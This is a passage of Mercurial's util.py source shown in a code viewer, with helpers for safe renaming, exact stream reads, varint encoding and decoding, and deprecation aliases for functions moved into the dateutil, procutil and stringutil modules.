3679 3679 i18nfunctions = bundlecompressiontopics().values()
3680 3680
3681 3681 # convenient shortcut
3682 3682 dst = debugstacktrace
3683 3683
3684 3684 def safename(f, tag, ctx, others=None):
3685 3685 """
3686 3686 Generate a name that it is safe to rename f to in the given context.
3687 3687
3688 3688 f: filename to rename
3689 3689 tag: a string tag that will be included in the new name
3690 3690 ctx: a context, in which the new name must not exist
3691 3691 others: a set of other filenames that the new name must not be in
3692 3692
3693 3693 Returns a file name of the form oldname~tag[~number] which does not exist
3694 3694 in the provided context and is not in the set of other names.
3695 3695 """
3696 3696 if others is None:
3697 3697 others = set()
3698 3698
3699 3699 fn = '%s~%s' % (f, tag)
3700 3700 if fn not in ctx and fn not in others:
3701 3701 return fn
3702 3702 for n in itertools.count(1):
3703 3703 fn = '%s~%s~%s' % (f, tag, n)
3704 3704 if fn not in ctx and fn not in others:
3705 3705 return fn
3706 3706
3707 3707 def readexactly(stream, n):
3708 3708 '''read n bytes from stream.read and abort if less was available'''
3709 3709 s = stream.read(n)
3710 3710 if len(s) < n:
3711 3711 raise error.Abort(_("stream ended unexpectedly"
3712 3712 " (got %d bytes, expected %d)")
3713 3713 % (len(s), n))
3714 3714 return s
3715 3715
3716 3716 def uvarintencode(value):
3717 3717 """Encode an unsigned integer value to a varint.
3718 3718
3719 3719 A varint is a variable length integer of 1 or more bytes. Each byte
3720 3720 except the last has the most significant bit set. The lower 7 bits of
3721 3721 each byte store the 2's complement representation, least significant group
3722 3722 first.
3723 3723
3724 3724 >>> uvarintencode(0)
3725 3725 '\\x00'
3726 3726 >>> uvarintencode(1)
3727 3727 '\\x01'
3728 3728 >>> uvarintencode(127)
3729 3729 '\\x7f'
3730 3730 >>> uvarintencode(1337)
3731 3731 '\\xb9\\n'
3732 3732 >>> uvarintencode(65536)
3733 3733 '\\x80\\x80\\x04'
3734 3734 >>> uvarintencode(-1)
3735 3735 Traceback (most recent call last):
3736 3736 ...
3737 3737 ProgrammingError: negative value for uvarint: -1
3738 3738 """
3739 3739 if value < 0:
3740 3740 raise error.ProgrammingError('negative value for uvarint: %d'
3741 3741 % value)
3742 3742 bits = value & 0x7f
3743 3743 value >>= 7
3744 3744 bytes = []
3745 3745 while value:
3746 3746 bytes.append(pycompat.bytechr(0x80 | bits))
3747 3747 bits = value & 0x7f
3748 3748 value >>= 7
3749 3749 bytes.append(pycompat.bytechr(bits))
3750 3750
3751 3751 return ''.join(bytes)
3752 3752
3753 3753 def uvarintdecodestream(fh):
3754 3754 """Decode an unsigned variable length integer from a stream.
3755 3755
3756 3756 The passed argument is anything that has a ``.read(N)`` method.
3757 3757
3758 3758 >>> try:
3759 3759 ... from StringIO import StringIO as BytesIO
3760 3760 ... except ImportError:
3761 3761 ... from io import BytesIO
3762 3762 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3763 3763 0
3764 3764 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3765 3765 1
3766 3766 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3767 3767 127
3768 3768 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3769 3769 1337
3770 3770 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3771 3771 65536
3772 3772 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3773 3773 Traceback (most recent call last):
3774 3774 ...
3775 3775 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3776 3776 """
3777 3777 result = 0
3778 3778 shift = 0
3779 3779 while True:
3780 3780 byte = ord(readexactly(fh, 1))
3781 3781 result |= ((byte & 0x7f) << shift)
3782 3782 if not (byte & 0x80):
3783 3783 return result
3784 3784 shift += 7
3785 3785
3786 3786 ###
3787 3787 # Deprecation warnings for util.py splitting
3788 3788 ###
3789 3789
3790 3790 def _deprecatedfunc(func, version, modname=None):
3791 3791 def wrapped(*args, **kwargs):
3792 3792 fn = pycompat.sysbytes(func.__name__)
3793 3793 mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3794 3794 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3795 3795 nouideprecwarn(msg, version, stacklevel=2)
3796 3796 return func(*args, **kwargs)
3797 3797 wrapped.__name__ = func.__name__
3798 3798 return wrapped
3799 3799
3800 3800 defaultdateformats = dateutil.defaultdateformats
3801 3801 extendeddateformats = dateutil.extendeddateformats
3802 3802 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3803 3803 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3804 3804 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3805 3805 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3806 3806 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3807 3807 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3808 3808 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3809 3809
3810 3810 stderr = procutil.stderr
3811 3811 stdin = procutil.stdin
3812 3812 stdout = procutil.stdout
3813 3813 explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
3814 3814 modname='utils.procutil')
3815 3815 findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
3816 3816 getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
3817 3817 getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
3818 3818 hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
3819 3819 modname='utils.procutil')
3820 3820 popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
3821 3821 quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
3822 3822 modname='utils.procutil')
3823 3823 readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
3824 3824 setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
3825 3825 setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
3826 3826 modname='utils.procutil')
3827 3827 shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
3828 3828 modname='utils.procutil')
3829 3829 shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
3830 3830 modname='utils.procutil')
3831 3831 spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
3832 3832 modname='utils.procutil')
3833 3833 sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
3834 3834 testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
3835 3835 try:
3836 3836 setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
3837 3837 modname='utils.procutil')
3838 3838 except AttributeError:
3839 3839 pass
3840 3840 try:
3841 3841 unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
3842 3842 modname='utils.procutil')
3843 3843 except AttributeError:
3844 3844 pass
3845 3845 closefds = procutil.closefds
3846 3846 isatty = _deprecatedfunc(procutil.isatty, '4.6')
3847 3847 popen2 = _deprecatedfunc(procutil.popen2, '4.6')
3848 3848 popen3 = _deprecatedfunc(procutil.popen3, '4.6')
3849 3849 popen4 = _deprecatedfunc(procutil.popen4, '4.6')
3850 3850 pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
3851 3851 tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
3852 3852 filter = _deprecatedfunc(procutil.filter, '4.6')
3853 3853 mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
3854 3854 hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
3855 3855 isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
3856 3856 isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
3857 3857 shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
3858 3858 system = _deprecatedfunc(procutil.system, '4.6')
3859 3859 gui = _deprecatedfunc(procutil.gui, '4.6')
3860 3860 hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
3861 3861 rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
3862 3862
3863 3863 binary = _deprecatedfunc(stringutil.binary, '4.6')
3864 3864 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3865 3865 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3866 3866 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3867 3867 email = _deprecatedfunc(stringutil.email, '4.6')
3868 3868 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3869 3869 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3870 3870 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3871 3871 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3872 3872 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3873 3873 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3874 3874 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now